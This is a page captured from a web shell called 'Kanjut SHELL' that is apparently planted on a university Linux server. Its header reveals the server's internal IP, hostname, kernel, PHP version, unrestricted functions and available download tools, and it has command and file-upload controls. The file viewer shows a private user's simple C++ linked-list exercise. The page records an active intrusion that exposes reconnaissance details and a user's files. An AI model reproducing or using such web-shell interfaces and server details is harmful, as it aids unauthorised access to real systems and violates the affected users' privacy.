Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.253.73
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jcwhiley/linkedlist1.cpp
//
//	List: 35  14  60

#include <iostream>
using namespace std;

struct nodeType
{
	int comp;
	nodeType* link;
};
struct nodeType2
{
	string compn;
	nodeType2* link;
};

int main()
{	
	nodeType* ptr;
	nodeType2* str;
	ptr = new nodeType;
	str = new nodeType2;

	ptr -> comp = 60;
	ptr -> link = NULL;
	str -> compn = "this";
	str -> link = NULL;

	nodeType* qtr = new nodeType;
	nodeType2* atr = new nodeType2;
	
	atr -> compn = "read";
	atr -> link = str;
	qtr -> comp = 14;
	qtr -> link = ptr;

// Create a new node with a pointer?

	nodeType* head = new nodeType;
	nodeType2* fst = new nodeType2;

// Make the component 35 and link to qtr?
	head -> comp = 35;
	head -> link = qtr;
	fst -> compn = "Dont";
	fst -> link = atr;

// Out the linked List?

	cout << head -> comp << "\t" << head -> link -> comp << "\t" << head -> link -> link -> comp << "\n\n";
	cout << fst -> compn << " " << fst -> link -> compn << " " << 
		fst -> link -> link -> compn << "." << "\n";
	// "(You get it.)"
// OR
	cout << head -> comp << "\t" << qtr -> comp << "\t" << ptr -> comp << "\n\n";
	// 35	 14     60

	cout << "Go. " << "\n";
	return 0;
}

Stv3n404 - 2023